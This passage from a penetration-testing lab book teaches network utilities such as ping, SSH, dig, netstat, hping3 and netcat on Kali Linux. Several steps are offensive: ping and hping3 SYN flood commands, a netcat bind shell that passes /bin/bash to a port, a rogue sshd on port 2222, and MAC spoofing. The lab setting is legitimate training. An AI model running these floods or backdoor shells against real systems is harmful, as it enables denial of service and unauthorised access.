
In this lab, we will demonstrate how this tool works by using Kali Linux.
Begin by opening a terminal window. It is important to note that we can use
“traceroute” for any host as it is considered public knowledge. Therefore, we
can use any site as our target site for this lab without being “root” user.

We will begin by targeting a big site such as “facebook.com”. Type the
following:

traceroute facebook.com



1. The very first line after the traceroute shows Hostname and IP
address, which it has obtained by using the reverse DNS look up.

2. 30 hops means that traceroute will only route the first 30 routes
between your system and the victim’s system. 30 is often too
much; it usually ends in 3 to 15 hops, though it can sometime go
deeper depending on the site’s security and lack of response.

3. This is the first router; possibly our AP, modem, router, etc.

These are the IP address ranges for private IP’s:

10.0.0.0 – 10.255.255.255,
172.16.0.0 – 172.31.255.255,
192.168.0.0 – 192.168.255.255,
224.0.0.0 – 239.255.255.255

4. These three columns display the round trip time(s) for our
packet to reach that point and return to our computer. This is
listed in milliseconds. There are three columns because the
traceroute sends three separate signal packets. This is for display
consistency—or a lack thereof—in the route.



5. This is the first column and is simply the number of the hop
along the route.

6. This means that the target system could not be reached.
Requests timed out. More accurately, it means that the packets
could not make it there and back; they may actually be reaching
the target system but encountering problems on the return trip.
This is possibly due to some kind of error, but it may also be an
intentional block due to a firewall or other security measures, and
the block may affect tracing the route but not actual server
connections.

7. It shows our last destination, which has the same IP address as
the first line.

This is extremely useful for finding a whole range of information, all
of which will be displayed during the trace. We can also see that the
host is two hops away from us, and the IP addresses of each of the
servers our request had went through to reach our target.

Task 2:
Traceroute is also useful for determining if a host is up. For example, try
targeting the following host:

traceroute eheheueueu.com

We can see that this hostname doesn’t exist through traceroute.

We can also see if the hostname exists but is down. It is possible to
understand this if we take the following response:





Lab 12. Ping and Its Various Uses

Lab Objective:
Learn how to use ping and its different parameters.

Lab Purpose:
Ping is a simple and useful network-based utility which can be used to
identify if a host is alive or dead. Technically, we can call it an echo reply.
By “alive”, I mean that the host is active, and by “dead”, that the host is in
shutdown mode. Anything which has a network card can be a host:
computers, servers, switches, websites, smartphones, IOT devices, etc.

It is often useful when setting up some new infrastructure to use ping to test if
your infrastructure can correctly reach the network.

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
Ping works on both Kali linux and Windows. For this lab, we will be
demonstrating ping on Kali Linux VM machine. To begin, open a terminal
window. Then, type the following:

ping google.com



The ping command will continue to send ICMP packages to the destinated IP
address until it receives an interruption. To stop the command, just hit the
Ctrl + C key combination.

As you will see, a number of lines of information will appear on our screen.
This shows the packets being sent from our machine to google.com, as well
as the response being received. We sent out 7 packets and received 7 packets
back, indicating that google.com is up and responding to requests.

1. The hostname we are pinging. Use “-n” with this command if
you want to avoid any reverse DNS lookups. For example: “ping
google.com -n”
2. The IP address of the target host.
3. The reverse DNS name of target IP address. It’s different from
the original hostname, right? This happens when one hostname
has many IP addresses and each IP address has only one DNS
name.
4. The number of data bytes. The default is 56, which translates
into 64 ICMP data bytes.
5. The ICMP sequence numbers for each packet.
6. TTL: The Time to Live values.
7. The ping time, measured in milliseconds which is the round
trip time for the packet to reach the host, and the response to
return to the sender. Greater values indicate possible network
problems or target’s load.
8. Once the command stops, it displays a statistic including the



percentage of packet loss. The packet loss means that the data
was dropped somewhere in the network, indicating an issue
within the network or target’s performance. If there is a packet
loss, you can use the traceroute command to identify where the
packet loss occurs.
9. RTT (Round-trip time) metrics of those ping packages. RTT is
the duration in milliseconds it takes for a network request to go
from a starting point to a target and back again to the starting
point.

Task 2:
We can set the packet size using the following commands:

ping -s 100 localhost
ping -s 100 google.com

Some targets respond to ping packets as expected (1), some of them just drop
(2).

This is useful when testing a system to see how it will respond differently to
very small or very large packets. The default packet size of ping is 56.



Task 3:
As aforementioned, by default, ping will continue to send packages until it
receives an interrupt signal. To specify the number of echo request packages
to be sent after pings exit, use the -c option followed by the number of
packages:

ping -c 5 cisco.com

Task 4:
When you run the ping command, it will use either IPv4 or IPv6, depending
on your machine’s DNS settings. To force ping to use IPv4, pass the -4
option, or use its alias: ping4. To force ping to use IPv6, pass the -6 option, or
use its alias: ping6;

ping -4 localhost
ping -6 localhost

To send 5 packets which “will not fragment the flag (IPv4 only)” pass “-M
dont” option with the following command:

ping -M dont localhost -4 -c 5



Task 5:
In some cases, it may be necessary to wait a certain amount of time between
sending each packet. The default is to wait about one second between each
packet, or not to wait in flood mode. Unpriviledged users may set an interval
to 0.2 seconds and above.

Send 20 ping packages within 0.2 ms interval to target system:

ping -4n -c20 127.0.0.1 -i 0.2

Task 6:
In flood ping; for every ECHO REQUEST sent a period ‘’.’’ is printed, while
for every ECHO REPLY received, the last printed period “.” is removed.



This provides a rapid display of how many packets are being dropped. If
interval is not given, it sets interval to zero and outputs packets as fast as they
come back or one hundred times per second, whichever is more. Only the
super-user may use this option with a zero interval.

As a root user, flood target system with sending 30 ping packages. Choose
your local router or Access Point as target system. Run this command:

ping -4n -c30 192.168.1.1 -f
ping -4n -c30 192.168.1.1 -f -i 0.050

In this flood test, packet loss is 73% in test number (1), while in test number
(2), when the packet is sent with 50 ms delay, the loss is around 30%.

This feature can be used to slow down the target system’s network or to
measure end-to-end network performance. It can also be used to create
artificial loads. For this reason, it is necessary to be careful when using it on
systems in production.



Lab 13. How to SSH into a Server
from a Windows Machine Using

PuTTY

Lab Objective:
Learn how to use PuTTY to SSH into a server from a Windows machine.

Lab Purpose:
PuTTY is an open-source terminal emulator which supports several network
protocols. It is also free and can be downloaded for Windows from the
following link: https://www.putty.org/

Lab Tool:
Windows

Lab Topology:
You can use a Windows machine for this lab. In this lab, we need another
SSH-enabled machine to make connections through. You can find a prebuilt
Ubuntu Server image on https://www.osboxes.org/ubuntu-server/ for this
purpose.

https://www.putty.org/
https://www.osboxes.org/ubuntu-server/


Download and import it to your virtualization platform and run.

Lab Walkthrough:

Task 1:
SSH stands for Secure Shell and it is used to connect to machines securly
over the internet. For this lab, we will be using PuTTY to connect to a server
using a Windows machine. Connecting to a server using a Linux machine
will be covered in a different lab.

The first step is to download PuTTY from the following link:
https://www.putty.org/. Click through the installer, and once it is finished,
open the application. Once open, you will be met with the following screen:

https://www.putty.org/


This is where we will connect to our server through SSH.

Task 2:
We can see under the Host Name input box that PuTTY supports a number of
different protocols, such as Telnet, which is the unsecure version of SSH. We
have selected SSH and are thus ready to specify the server information, such
as IP and port, to get connected.

Simply enter the IP address or hostname; for example, type the Ubuntu VM’s
IP you just created and the port which you want to connect on. For SSH, this
is port 22. It is good practice to then go to saved sessions and enter a name
for the connection and press save, so that you don’t have to enter the
information again next time. Once this is done, click open on the bottom right
corner.



Task 3:
When connecting, a window will pop up with a warning. It will warn you that
you have not connected to this server before and that you should only connect
to servers you trust. Click yes and continue.



You will then be asked for login information to continue. Once this is entered
you will have access to the server and its different file directories.





Lab 14. How to SSH into a Server
from a Linux Machine

Lab Objective:
Learn how to access a server from a Linux machine using SSH.

Lab Purpose:
Linux comes built in with the ability to connect directly to a server through
SSH without the need to download any applications. SSH stands for Secure
Shell and it is a secure method of connecting to devices over the internet.

Lab Tool:
Kali Linux

Lab Topology:
You can use a Kali Linux VM for this lab. In this lab, we need another SSH-
enabled machine to make connections through. You can find a prebuilt
Ubuntu Server 20.04 image on https://www.osboxes.org/ubuntu-server/ for
this purpose.

https://www.osboxes.org/ubuntu-server/


Download and import it to your virtualization platform and run.

Lab Walkthrough:

Task 1:
Linux has the ability to connect to a device over the internet through SSH,
without the need to download external applications. This functionality is not
the same for Windows, and this was covered in the previous lab. To begin,
open a terminal.

Connecting to a server via SSH is very easy in Linux. All you have to do is
type the following into the terminal:

ssh osboxes@192.168.1.25

This will then ask you if you trust the server as your machine would have
never connected to it before. Simply type “yes” to move on.

1. All connection information in a single line, except password.
2. The password is entered invisibly. In this example, the
password for the “osboxes” user is preset as “osboxes”.
3. The remote connection is established and dropped on the
terminal line.



SSH is really handy for controling remote servers and devices across the
internet. It provides you with the ability to remotely login to any device to
manage it at any time.

Task 2:
Change the remote server’s certificate and see what happens.

Connect to remote server with user “osboxes” and password “osboxes” again,
with SSH. Change to privileged user then run this command:

sudo su -
rm -v /etc/ssh/ssh_host_*

Regenerate remote server’s SSH keys with this command:

dpkg-reconfigure openssh-server

Restart the service to make sure the remote server is working with newly
created SSH keys:

systemctl restart ssh

Disconnect from the remote server to re-establish the SSH connection.



Each remote server operates with a unique SSH certificate. When trying to
connect to another server with the same IP address as the remote server, the
local SSH client will warn you about the situation in order to prevent user
information from being stolen.



If it is definitely known that the operating system on the remote server has
been reinstalled or if the SSH server keys are regenerated like in this
example, it will be necessary to update the SSH key records on the local user
who established the connection. In the local terminal screen, type the
following and reconnect to remote server via SSH:

ssh-keygen -f “/home/kali/.ssh/known_hosts” -R “192.168.1.25”
ssh osboxes@192.168.1.25

Thanks to this simple mechanism, the critical access information of the local
user connected via SSH is prevented from being seized by a possible thief
server.

Task 3:
If you make frequent SSH connections to the same server during the day, it is
possible to gain password-free connection capability by copying your local
SSH public key to the remote server. The steps to achieve this are easy. We
will manually add the content of the “kali” user’s “.ssh/id_rsa.pub” file to the
“.ssh/authorized_keys” file located in the remote user’s home directory.

While on the terminal screen of the Kali VM machine, as “kali” user:

cd .ssh/
ssh-keygen
ssh-copy-id osboxes@192.168.1.25
ssh osboxes@192.168.1.25

mailto:osboxes@192.168.1.25


As can be seen, no password is required for SSH logins. Even if the remote
user changes their password, this will not prevent us from logging in without
a password.

If you were able to log into your account using SSH without a password, you
have successfully configured SSH-key-based authentication to your account.
However, your password-based authentication mechanism is still active,
meaning that your server is still exposed to brute-force attacks. In order to
permanently block SSH access to the remote server with a password, it is
necessary to edit the “sshd_config” file and make “PasswordAuthentication
no”.

The changes will take effect after the SSH service is restarted:

systemctl restart ssh



From now on, users who have not yet copied their SSH public keys to the
remote server will not be able to login even with a password. Local console
logins are not affected by this situation.

Task 4:
It is possible to access IP targets that can only be accessed from a remote
server by port-forwarding via SSH tunneling method. Connect to remote
server with this command:

ssh -L8080:192.168.1.1:80 osboxes@192.168.1.25

When this command is run in Kali Linux, requests to 127.0.0.1:8080 are
forwarded via the remote server to the destination 192.168.1.1:80, by
establishing a secure SSH tunnel.

Task 5:
It is possible to copy a file residing on the local machine to a desired location
on the remote server via a secure SSH tunnel. To do this:

scp /etc/hosts osboxes@192.168.1.25:/tmp/

In this case, the password-free connection capability when using the “ssh”
command is also valid when using the “scp” command.

Task 6:
It is possible to run the SSH service outside port 22. We can even do this on a
system that does not have root privileges. Open terminal on Kali Linux VM
machine and type the following commands:

ssh-keygen -t rsa -N ‘’ -f ~/.ssh/id_rsa <<< y

Create a file with nano editor, and put following lines in it:

mailto:osboxes@192.168.1.25
mailto:osboxes@192.168.1.25:/tmp/


nano ~/.ssh/sshd_config
Port 2222
UsePAM yes
HostKey ~/.ssh/id_rsa

Now, we can start a new SSH service with a non-root user by listening to port
2222.

/usr/sbin/sshd -f ~/.ssh/sshd_config

Now, we have created an anternative entrance point to our system. If there is
no firewall rule applied that blocks all ports save eceptions, someone can
access this system using port 2222 via SSH. Let’s try it by making a SSH
connection ourselves;





Lab 15. How to Setup Your Own
Kali Linux Virtual Machine

Lab Objective:
Learn how to setup your own Kali Linux Virtual Machine for the purpose of
hacking.

Lab Purpose:
Kali Linux is a Debian-based Linux distribution which is aimed at advancing
Penetration Testing and Security Auditing. Kali Linux contains several
hundred tools which are geared towards various information security tasks,
and many more can be downloaded from sources such as GitHub.

Lab Tool:
Windows Machine

Lab Topology:
You can use a Windows or Linux PC which can offer Desktop login for this
lab.

Lab Walkthrough:

Task 1:
There are two major virtualization platforms that are currently free for
Windows and Linux operating systems. You can access the website of both
platforms from the links below:

Oracle VirtualBox
[ https://www.virtualbox.org/ ]

VMware Workstation Player



[https://www.vmware.com/products/workstation-player.html ]

In this lab, we prefer to use the VirtualBox because of its easy use and
because it’s also the most popular in the open source world. You can use it in
both Linux and Windows PC environments. It is very easy to install in the
Windows environment. After installing the actual application, do not forget
to download and install the VirtualBox Extension Pack, which is the same
version as this.

This software will allow us to run the Kali Linux Operating System within
our Windows or Linux Desktop Operating System. This means the things we
do in the virtual OS will not impact our actual OS.

Task 2:
There are various methods of installing Kali Linux under VirtualBox. For
convenience, we will proceed by importing a preinstalled VM image. Go to:

https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-
image-download/

You will see two types of images here, 32bit and 64bit. If your Desktop
Operating System supports running a 64bit virtual OS, it is recommended
that you download it. Make sure you download for the right virtualization
platform.

https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/


Task 3:
We will import the pre-installed Kali Linux VM machine just downloaded,
into the VirtualBox environment.

Open Oracle VM VirtualBox Manager, select “File” on the top menu, then
click “Import Appliance” from the drop-down menu.



In the “Appliance to import” window, following the numbered steps
indicated in the figure, select the Kali Linux VM OVA file we just
downloaded. Then, click Next.

Check the information displayed in the window that opens, then click import.
Also click on the “Agree” button in the “Software License Agrement”
window that opens. Importing begins…



After the import is done, the Kali Linux VM is ready for use. Click the green
“Start” button to boot virtual machine.



Task 4:
Once the importer is finished, boot up the virtual machine. It may take a few
minutes to load. Once loaded, enter “kali” as both username and password.

By default, a password is not defined for the root user, so you cannot log in
directly as that user.

For operations that require root authorization, you will need to use “sudo”
command on the terminal screen, in this case the password that must be
entered is “kali”.



To ensure you are using the most up to date version of the machine, open a
teminal screen, then enter the following commands:

sudo apt update
sudo apt full-upgrade -y



You will be prompted for the sudo password. Enter the default password
“kali”. It is important to have these updates on a freshly installed Kali VM,



otherwise both the OS and some hacking tools may not work properly. After
all updates are finished, reboot the Kali VM to make sure all updates have
been applied.

Task 5:
Done! Now we have a fully functioning Kali Linux Virtual Machine to begin
hacking. It is useful to take a snapshot of the machine, from the virtualization
software setttings, once all the updates are done. This is useful if the VM
image becomes damaged, in which case we can simply revert to the recently
updated working version. Also, connecting the default network adaptor to the
“Bridge Adapter” instead of NAT will benefit us in many subsequent hacking
operations.

First, make sure that Kali is in shutdown state. In the Oracle VirtualBox
Manager main window, click the Settings button, then follow the steps
described in the figure.



Now, we can take a snapshot of the entire Kali VM.



Now, whenever necessary, we can restore Kali Linux virtual machine to this
snapshot level and then boot the system in its initial state.



Lab 16. Nslookup

Lab Objective:
Learn how to use Nslookup to gather DNS information on a target site.

Lab Purpose:
Nslookup is a network administration command-line tool used for querying
the DNS to obtain domain name or IP address mapping information.

Lab Tool:
Windows Machine or Kali Linux.

Lab Topology:
You can use a Windows Machine or Kali Linux for this lab.

Lab Walkthrough:

Task 1:
Nslookup comes built in on both Windows and Linux. In Windows, it comes
in both an interactive and non-interactive mode. To open the interactive
mode, type “nslookup”. To quit the interactive mode, type “quit”.

We will begin by finding the IP address of a host. To do this, type the
following:

nslookup www.google.com

http://www.google.com/


As you will see, we are returned with the different IPv4 and IPv6 ip addresses
for Google.com. The node, called as “local DNS resolver”, is the first point
of contact we make with a DNS query every time.

This is usually the IP address of the device provided to you by your Internet
Service Provider. Of course, you can target your “all DNS queries” to a
different server by changing your local machine’s network settings
accordingly.

Task 2:
We will now perform a reverse lookup which will match an IP address to a
domain name. This is also called the DNS PTR record, and can be thought of
as the exact opposite of the DNS A record. To do this type:

nslookup 74.125.193.99



Oftentimes, we can see that hostnames DNS A and DNS PTR queries do not
match on web servers. This is because multiple IP addresses may be matched
against a DNS A record to perform load balancing.

Task 3:
We can also find any “Mail eXchange” servers for a particular domain. To do
this, type:

nslookup -querytype=mx google.com

Task 4:
We can also find the “Name Servers” responsible for a domain. In other
words, only those servers which are authoritative sources to keep DNS
records of the google.com domain name. To do this, first open an interactive
console by typing “nslookup”. Then, type:

set query=ns

Then, type the domain name into the terminal.



Task 5:
It is possible to access domain verification data by making a DNS TXT
query.

nslookup -querytype=txt google.com





Lab 17. Dig

Lab Objective:
Learn how to use Dig to gather DNS information.

Lab Purpose:
Dig stands for Domain Information Groper. It is a tool for querying DNS
nameservers for information about host addresses, mail exchanges,
nameservers and related information.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
Dig is a tool which can be used on either Linux or Mac OS. Dig comes pre-
installed on Kali Linux and you can check its version using the following
command:

dig -v

The dig syntax looks like the following:

Dig [server] [name] [type]

We will begin by performing a simple dig command. Type the following into
a terminal:

dig google.com



Task 2:
The above command will include several information. There may be a time
when you only want the result of the query. This can be achieved in dig with
the following command:

dig google.com +short



As you can see, there can be more than one IP for a host record.

Task 3:
This next command will get rid of all information before the answer section,
for easier reading. We can specify this using the following command:

Task 4:
We can also specify the nameservers we wish to query using the following
command:



This command queries the “google.com” record from the Name Server with
IP address 8.8.8.8.

Task 5:
If we want to query all DNS record types, we can use the “ANY” option.
This will display all the available record types in the output:



Task 6:
We can also look up a specific record. For example, if we want to get only
the mail exchange section associated with a domain, we can use the following
command:

dig google.com MX

We can query a number of specific record types using the following tags in
place of MX:

TXT, CNAME, NS, A



Task 7:
We can trace the DNS path, similar to traceroute, using the following
command:



Task 8:
It is also possible to make DNS queries for IP addresses.



Task 9:
Dig has a useful feature which allows you to perform a number of DNS
lookups for a list of domains instead of doing the same for each one
individually. This can be done by performing a lookup using a file:

dig -f domain_names.txt +short

Task 10:
It is possible to access domain verification data by making a DNS TXT
query.



Dig is a tool with multiple uses and can be very useful for gathering a broad
range of DNS information about a target site.



Lab 18. Using Ipconfig to View and
Modify Network Information on

Windows

Lab Objective:
Learn how to use ipconfig to view and modify network information on
Windows.

Lab Purpose:
Ipconfig stands for Internet Protocol configuration. It is a console application
which displays all current TCP/IP network configuration values and refreshes
DHCP and DNS settings.

Lab Tool:
Windows

Lab Topology:
You can use Windows for this lab.

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

ipconfig /?



Open a command prompt to begin, and type “ipconfig” to view your
networking information.





As you will see, there will be a lot of information shown, including your local
IP addresses.

Task 2:
To display the fill TCP/IP configuration information for all network adapters,
we can use the following command:

ipconfig /all



Task 3:
Assume that our machine has an IP address with DHCP. To release our
current IPv4 or IPv6 address, we can use the following commands:

ipconfig /release
ipconfig /release6



Renew our IP addresses via DHCP:

ipconfig /renew

Task 3:
If we want to purge the DNS resolver cache, we can do that using the
following command:

ipconfig /flushdns



This will essentially get rid of the local cache of DNS information.

Task 4:
We can also refresh all DHCP leases and re-register DNS names using the
following command:

ipconfig /registerdns

You will need to run command prompt as administrator to execute this
command.



Task 5:
We can display the content of the DNS Resolver Cache using the following
command:

ipconfig /displaydns





Lab 19. Using Ifconfig to View and
Modify Network Information on

Linux

Lab Objective:
Learn how to use ifconfig to view and modify network information on Linux.

Lab Purpose:
Ifconfig is a system administration utility in Linux operating systems, used
for network interface configuration. It is a command line interface tool and is
used in the system start-up scripts of many operating systems.

Ifconfig is the equivalent of the ipconfig tool used on Windows.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

Ifconfig -h



Open a terminal to begin, and type “ifconfig” to view your networking
information.



As you will see, there will be a lot of information, including your local IP
addresses. New Linux distributions do not have the “ifconfig” command
installed. In this case, you can use the “ip addr” command.

Task 2:
To display a short list output, we can use the following command:

ifconfig -s

Task 3:
We can display information about a specific interface by using the following
command:

ifconfig [interface-name]

This is useful for determining interface information and for debugging.

Task 4:
We can disable or enable a network interface using an ifconfig flag. For



example:

ifconfig eth0 down

This command will disable our local connection to the Wi-Fi card. To enable
it, enter the following command:

ifconfig eth0 up

Task 5:
We can use ifconfig to enable promiscuous mode on an interface. This will
allow the interface to receive all packets on the network. You will need a
compatible network card for this to work correctly:



ifconfig eth0 promisc

This can be disabled using the following command:

ifconfig eth0 -promisc

Task 6:
The ifconfig tool also enables you to change the MAC address associated
with a network interface. This can be done with the following command:

ifconfig [network-name] hw [class] [hardware-address]
Eg. ifconfig eth0 hw ether 66:3e:7f:60:f2:1f



There are actually 4 sets of Locally Administered Address Ranges that can be
used on your network without fear of conflict, assuming no one else has
assigned these on your network:

x2-xx-xx-xx-xx-xx
x6-xx-xx-xx-xx-xx
xA-xx-xx-xx-xx-xx
xE-xx-xx-xx-xx-xx

To make the changes permanent, open the file below and add the following
lines in it:

nano /etc/network/interfaces
pre-up ifconfig eth0 hw ether AA:22:33:44:55:66

Reboot the system. The new MAC address will appear.



Lab 20. Hping for Security Auditing
and Testing of Network Devices

Lab Objective:
Learn how to use hping for security auditing and the testing of networking
devices.

Lab Purpose:
Hping is an open-source packet generator and analyser for the TCP/IP
protocol. It is often referred to as a swiss army knife, as it can perform a lot
of packet-related functions for security testing and auditing.

Lab Tool:
Kali Linux

Lab Topology:
We will use Kali Linux for this lab. hping3 command requires root privileges
to work. First of all, we have to become the “root” user using the terminal:

sudo su –

In this lab we need another “victim” machine to make connections through.
We can use scanme.nmap.org as a target host on the internet. This site has
been developed by NMAP for the purpose of scanning. Never scan any site,
system, or network without prior permission from the owner.

If you have no internet connection during hping testing, you may consider
installing a Kali or Ubuntu VM on your own working PC.

Lab Walkthrough:

http://www.scanme.nmap.org/


Task 1:
We will begin by viewing the help information screen by executing the
following command:

hping3 -h

The default packet which hping will create is a TCP packet. This means that
even if a device such as a router or firewall is blocking ping requests, we can
still perform host discovery and reconnaissance with hping.

We will perform our first scan using the SYN flag. This will send out the
same packets as nmap would when performing a -sS scan. We will also check
if port 80 is open. “-c 5” parameter tells us that this scan will only be repeated
5 times. Type the following command:

hping3 scanme.nmap.org -p 80 -S -c 5



Note that, in my scan, the packets came back with the flags “SA” set. This
indicates that the port is open. If the flag were set to “RA”, the port would be
closed.

Task 2:
Create a SYN package and use scan mode to scan port 1 through 1000 on
these targets. “-8” puts hping command to sweep-scan mode.

hping3 scanme.nmap.org -8 1-1024 -S
hping3 192.168.1.123 -8 1-1024 -S



In these two examples, we scanned two different machines. As a result of
both scans, the ports that are detected as open give us some information about
the operating systems of the machines. We can roughly say that the first is
Linux OS and the second is Windows.

Task 3:
If we want to perform a more detailed scan, we can scan all the ports
beginning with 1. We can do this by adding the increment switch (++1) after
the port switch and the port number where we want the scan to begin.

hping3 -S 139.162.196.104 -p ++1

Task 4:
Nowadays, many websites which are heavily accessible use multiple servers
to meet incoming requests. For example, a web request to www.google.com



is handled by more than one server. In order to learn the IP addresses of these
servers that are behind the DNS, type this command:

hping3 www.google.com -S -p 80 -T --ttl 13 --tr-keep-ttl -n

In this case, we used the TTL in traceroute to obtain some of the load-
balancing devices’ IP addresses.

Task 5:
We can use hping command as a ordinary ping tool. “-1” parameter indicates
that this is an ICMP package.



Traceroute to a target using ICMP mode and show verbose.

hping3 scanme.nmap.org -1 --traceroute -n



Hping also improves on the traceroute ability. Traceroute uses ping to
determine the location of servers, firewalls, routers etc. This can be very
useful for hackers looking to create a network map of their target. For this
reason, many firewalls do not respond to ping packets. Hping does the same
thing but can also use TCP packets instead of ICMP, which all firewalls will
allow (otherwise, it would not allow internet traffic). Let’s try this now:



hping3 scanme.nmap.org -n -S -s 8080 -p 80 --traceroute

Traceroute to determine if port 80 is open, set local traffic to be generated
from source port 8080.

Task 6:
Hping can be used to tell us how long a server has been up. This is useful
information for a hacker as each time a server is patched or updated, it must
also be rebooted. If we see that a server is up for 5 years, we can be sure that
the server has not been patched or updated in that time, and that it therefore
will be vulnerable to all vulnerabilities discovered during that timeframe. We
can do this using the following command:



hping3 scanme.nmap.org -p 80 --tcp-timestamp -S -c 4

Note: This will not work on a Kali Linux VM with NAT settings enabled.

Task 7:
To start a SYN flood attack, run the command bellow.

hping3 scanme.nmap.org -S --flood -p 80

When running the commands, hping3 will not show any output; it is working
in the background.



Lab 21. Using Netstat to View
Networking Information

Lab Objective:
Learn how to use netstat to view networking information.

Lab Purpose:
Netstat is a command line tool which let’s you print network connections,
routing tables, interface statistics, masquerade connections, and multicast
memberships.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux for this lab. Some netstat command features may
requires privileges to work. First of all, we have to be the “root” user using
the terminal:

sudo su –

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

netstat -h

We will then view all active connections by typing the following:

netstat



Task 2:
We can use netstat to display both local and foreign addresses in numeric IP
form using the “-n” parameter.

netstat -n

If we want to view only TCP connections, we need to add the “-t” parameter.

netstat -t

Similary, if we want to view only UDP connections, we need to add the “-u”
parameter.

netstat -u

We can combine and operate multiple parameters in a single command as
follows;

netstat -nt



Let’s look at the figure;

1. This area shows our local IP address and port number for each
connection.
2. This field shows our remote IP address and port number for
each connection.
3. This area displays the TCP / UDP status of each connection;

LISTEN: represents waiting for a connection request from any remote
TCP and port.

SYN-SENT: represents waiting for a matching connection request
after having sent a connection request.

SYN-RECEIVED: represents waiting for a confirming connection
request acknowledgment after having both received and sent a
connection request.

ESTABLISHED: represents an open connection, data received can be
delivered to the user.  The normal state for the data transfer phase of
the connection.



FIN-WAIT-1: represents waiting for a connection termination request
from the remote TCP, or an acknowledgment of the connection
termination request previously sent.

FIN-WAIT-2: represents waiting for a connection termination request
from the remote TCP.

CLOSE-WAIT: represents waiting for a connection termination
request from the local user.

CLOSING: represents waiting for a connection termination request
acknowledgment from the remote TCP.

LAST-ACK: represents waiting for an acknowledgment of the
connection termination request previously sent to the remote TCP
(which includes an acknowledgment of its connection termination
request).

TIME-WAIT: represents waiting for enough time to pass to be sure
the remote TCP received the acknowledgment of its connection
termination request.
CLOSED: represents no connection state at all.

Task 3:
netstat allows us to view only connections which are listening. We can do
this by typing this command:

netstat -ntl



“0.0.0.0” in the local address column indicates all IP addresses that are
listening. “0.0.0.0:*” in the foreign address column indicates everyone and all
ports in the IP space. In the last lines, it shows that we are in a state of
listening for each connection.

Task 4:
We can view the kernel routing table by using the following command:

netstat -r

Note: netstat -r and route -e product the same result.

Task 5:
We can make netstat show us the process IDs and where they belong by
using the following command:

netstat -tunp



This command shows only TCP and UDP traffic with their associated process
IDs. Displays IP addresses and port numbers as numbers.

We get more details if the last command is used with the -e parameter;

netstat -tunpe

Task 6:
We can display high level statistics by using the following command:

netstat -s





Lab 22. Netcat

Lab Objective:
Learn how to use netcat

Lab Purpose:
Netcat is a utility tool which can read and write data across TCP and UDP
network connections. Netcat has a huge amount of uses and is often known as
a swiss army knife. It can be used as a port scanner, backdoor, port redirector,
port listener and many other things. Netcat can be used to perform a total
hack, all by itself.

Lab Tool:
Kali Linux

Lab Topology:
You can use a Kali Linux VM for this lab. In this lab we need another SSH-
enabled machine to make connections through. You can find a prebuilt
Ubuntu Server 20.04 image on https://www.osboxes.org/ubuntu-server/ for
this purpose.

https://www.osboxes.org/ubuntu-server/


Download and import it to your virtualization platform and run.

Some netcat command features may require privileges to work. First of all, we
must be the “root” user using the terminal:

sudo su –

Keep in mind that “netcat” and “nc” commands are the exact same.

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

netcat -h

We will begin by port scanning using netcat. netcat is quite slow and nmap is
a far better option for port scanning, but this is just to show you netcat’s
functionality. This can be done using the following command:



nc -v -w2 -z 192.168.1.123 130-140

In this example, we started a scan of an IP address for a specific port range.
As a result of the scan, we found that ports 135 and 139 are open. This target
is probably a Windows machine.

Task 2:
We can then perform banner grabbing to determine which version of a
service is running. I will demonstrate this on port 22 for SSH. This can be
done using the following command:

nc -v -n 139.162.196.104 22

Task 3:
When connecting to a web server, we can request information in the form of



web requests. We can request the header from this server by using the
following command when we are connected:

nc 192.168.1.206 80
HEAD / HTTP/1.0

This will cause the webserver to respond with usefull information like server
banner, content size, version, time, etc.

To retrieve the top level page on the webserver, we can issue the following
command:

nc 192.168.1.206 80
GET / HTTP/1.0



Task 4:
We can also transfer files between two nodes using netcat. This is very handy
when interacting with a server through the command line. In this example,
we will assume we want to transfer a file to a target which we have remote
command execution of. We will begin by setting up a listener on the target
host and then connecting to it from the attack box.

nc -vnlp 8080 > received.file

This opens a listener on the target on port 8080. We will then connect to it on
the attack box and transfer the file.

nc 192.168.1.206 8080 < tobe-send.txt

We can end the connection as the file has now transferred.



With this method, it is possible to transfer large files as well with the help of
compression tools.

Task 5:
We can open a UDP server using netcat too, using the following command:

netcat -ul -p 7000

Connect to listener side with this command;

nc -uv 192.168.1.206 7000

Task 6:
Netcat can also be used to create a basic shell on a remote system on a port.
This can be done by executing this command:

netcat -l -p 7777 -e /bin/bash

This will start a server on port 7777 and will pass all incoming input to bash
command and the results will be sent back. This will basically convert the
bash program into a server. Netcat can be used to convert any process into a
server. We can connect to this bash shell using the following command:

netcat 139.162.196.104 7777



Lab 23. IP Scanners

Lab Objective:
Learn how to use IP Scanners for network reconnaissance.

Lab Purpose:
IP scanners are tools which scan and monitor your network. They are often
used by administrators for discovering devices on a network as well as
remotely managing these devices.

Lab Tool:
Windows

Lab Topology:
You can use Windows for this lab.

Lab Walkthrough:

Task 1:
We will be demonstating how to use an IP scanner on a Windows machine in
this lab. To begin, download the following IP scanner:
https://www.advanced-ip-scanner.com/

https://www.advanced-ip-scanner.com/


Task 2:
Now, double click the downloaded file and complete the installation in the
order shown in the figures.





Task 3:
This will scan our network and pick up on all devices connected to the
network. It will display information such as each device’s IP address and
MAC address.

Enter your subnet range in the space. If you do not know said range, simply
hit the scan button.



When the scan is complete, the nodes detected on the network will be listed
together with their MAC and IP addresses.

Task 4:
This tool can then be used to connect and remotely manage any of these
devices. To do this, simply select the device you would like to manage. You
will be asked to install another tool called Radmin, which will allow you to
contol the other devices on your network. Click yes and install it.

Note: to successfully control a device on your network, you will need to have
a Radmin server running on that device.



There are a lot of useful functions admins can perform when taking control of
a device on their network using this tool, such as taking full control, read-
only control, connecting via Telnet, file transfer, shutting down the device,
and chatting via both text and voice.

This tool is useful for network administrators as it can both manage devices
and pick up on any rouge devices present on their network.

Task 5:
IP scanners can also be installed on Linux. The most popular of these is
called Angry IP Scanner, or simply ipscan. It is open source and provides the
